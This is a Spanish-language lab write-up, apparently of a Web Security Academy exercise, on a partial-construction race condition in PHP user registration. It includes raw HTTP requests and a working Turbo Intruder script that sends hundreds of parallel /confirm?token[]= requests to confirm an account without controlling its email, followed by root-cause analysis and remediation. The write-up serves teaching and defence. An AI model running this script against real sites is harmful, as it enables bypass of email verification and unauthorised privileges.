← Writeups

Partial construction race conditions

Explotación de una race condition de construcción parcial: entre la inserción del usuario y la asignación de su token de confirmación existe un null que se puede capturar enviando /confirm?token[]= en paralelo al registro.

Target Overview & Vulnerability Summary

El registro de usuarios construye la cuenta en múltiples pasos: primero inserta el usuario y después asigna su token de confirmación. Entre ambas consultas existe una ventana donde el token es null. La aplicación PHP recibe token[]= como un array (comportamiento de parámetros PHP) que serializa a un array vacío, colisionando con el valor null temporal del registro recién creado. Enviando POST /confirm?token[]= en paralelo al POST /register (con sesiones distintas para eludir el session lock de PHP), la confirmación se completa en el estado intermedio.

Campo Valor
Severidad Alta (confirmación de cuenta ajena / registro con email corporativo sin verificación)
Endpoint vulnerable POST /register + POST /confirm?token[]=
Root cause Construcción de objetos en múltiples pasos sin transacción + serialización PHP de token[] a array/null colisionando con el estado intermedio

Technical Breakdown & Exploitation Flow

1. Reconocimiento del registro

La app solicita un email del dominio @ginandjuice.shop:

If you work for GinAndJuice, please use your @ginandjuice.shop email address

Con wiener@ginandjuice.shop (que no controlamos) la respuesta es Please check your emails for your account registration link; con un email arbitrario, Invalid email address. La cookie phpsessionid confirma backend PHP.

2. Revisión del código cliente

<input required type="hidden" name="csrf" value="zQpjIZLjqGKeOcuhZF6aolKGziZnp88X">
<script src='/resources/static/users.js'></script>
<script>createRegistrationForm()</script>

El formulario de registro se crea dinámicamente; la función confirmEmail construye el form de confirmación con el token extraído de la URL:

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];
    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;
    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Confirm';
    form.appendChild(button);
    container.appendChild(form);
}

La ruta /confirm exige el parámetro token: "Missing parameter: token". Con un token incorrecto responde "Incorrect token: as" (probado con /confirm?token=as). Con ?token= devuelve Forbidden.

3. Comportamiento de parámetros en PHP

En PHP, los parámetros con [] se convierten en arrays:

param[]=foo            # param = ['foo']
param[]=foo&param[]=bar # param = ['foo', 'bar']
param[]                # param = []

Enviando /confirm?token[]= la respuesta es:

"Incorrect token: Array"

El backend compara el array (o su representación) contra el token esperado. La clave es que durante la construcción parcial del usuario, el token en base de datos es null, y token[]= (array vacío en PHP) puede colisionar con ese valor null si la comparación se hace con coerción de tipos (comparaciones laxas en PHP: [] == null).

4. Benchmark: secuencial vs paralelo

Envío secuencial con conexiones separadas (funcionamiento normal) — diferencia ~159 ms:

POST /register HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
csrf=qJHYDTrQR0u1DiXk1D93XC1Qmlw8poe8&username=1&email=1%40ginandjuice.shop&password=1
POST /confirm?token= HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net

Envío en paralelo — diferencia ~60 ms (el cálculo real confirma la concurrencia):

POST /register HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
csrf=qJHYDTrQR0u1DiXk1D93XC1Qmlw8poe8&username=1&email=1%40ginandjuice.shop&password=1
POST /confirm?token= HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net

5. Exploit con Turbo Intruder (gates)

Se agrupan un registro y una ráfaga de confirmaciones en el mismo gate para que se envíen simultáneamente; cada intento usa un nombre de usuario distinto para que la confirmación capture el registro recién insertado en su estado intermedio (token null):

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)

    confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0ac900df03be85ba832ad71b00ba0029.web-security-academy.net
Cookie: phpsessionid=wjWFY8fCnbw5kpFxUIGeaE1XiSAYQCnu
Content-Length: 0

'''

    for attempt in range(20):
        q = str(attempt)
        username = 'uusseerrnnaammeee' + q

        # una única request de registro
        engine.queue(target.req, username, gate=attempt)

        # 550 confirmaciones simultáneas: suben la probabilidad de
        # capturar el estado intermedio (token == null) del registro
        for i in range(550):
            engine.queue(confirmationReq, gate=attempt)

        # abre el gate: todas las requests salen a la vez
        engine.openGate(attempt)

def handleResponse(req, interesting):
    table.add(req)

Nota: 550 confirmaciones pueden repartirse en más de un paquete; aumentar el número mejora la probabilidad de capturar la ventana, con el trade-off de cargar el servidor.

Flujo de explotación:

  1. Session lock de PHP: usar una sesión distinta para el registro y para las confirmaciones, de modo que ambas se procesen concurrentemente.
  2. El registro inserta el usuario (estado intermedio: token null).
  3. Una de las requests POST /confirm?token[]= se procesa en esa ventana: token[] (array vacío) colisiona con el null del registro y confirma la cuenta.
  4. La cuenta queda confirmada sin poseer el correo corporativo, reclamando luego el rol/privilegio asociado al email.

Root Cause Analysis

Dos condiciones:

  1. Construcción parcial no transaccional: la cuenta se inserta en pasos separados (INSERT usuario → INSERT/UPDATE token); entre ambos el registro es visible con token = NULL. Cualquier lector concurrente observa el objeto a medio construir.
  2. Colisión de tipos PHP: la serialización de token[]= a array vacío se compara de forma laxa con el null del estado intermedio. El framework no valida el tipo ni la existencia de un token antes de confirmar.

El fallo de fondo es diseñar invariantes de negocio (cuenta sin confirmar) que dependen de un estado de base de datos que los lectores concurrentes pueden observar en un punto intermedio inválido.

Secure Remediation

  • Construir el registro y su token en una única transacción atómica, de modo que la cuenta nunca sea observable sin token:
BEGIN;
INSERT INTO users (username, email, password) VALUES (..., ...);
INSERT INTO confirmation_tokens (user_id, token, used) VALUES (LAST_INSERT_ID(), :token, FALSE);
COMMIT;
  • Validar estrictamente el parámetro token en /confirm: exigir un string no vacío de longitud/tipo esperado y rechazar arrays (is_string y formato de hash), evitando colisiones de tipo.
  • Verificar la confirmación contra el token real del usuario con comparación estricta (===) y marcar el token como usado atómicamente.
  • Eludir el session lock no debería exponer estado: si cada operación de confirmación requiere un token válido, la concurrencia no cambia el resultado.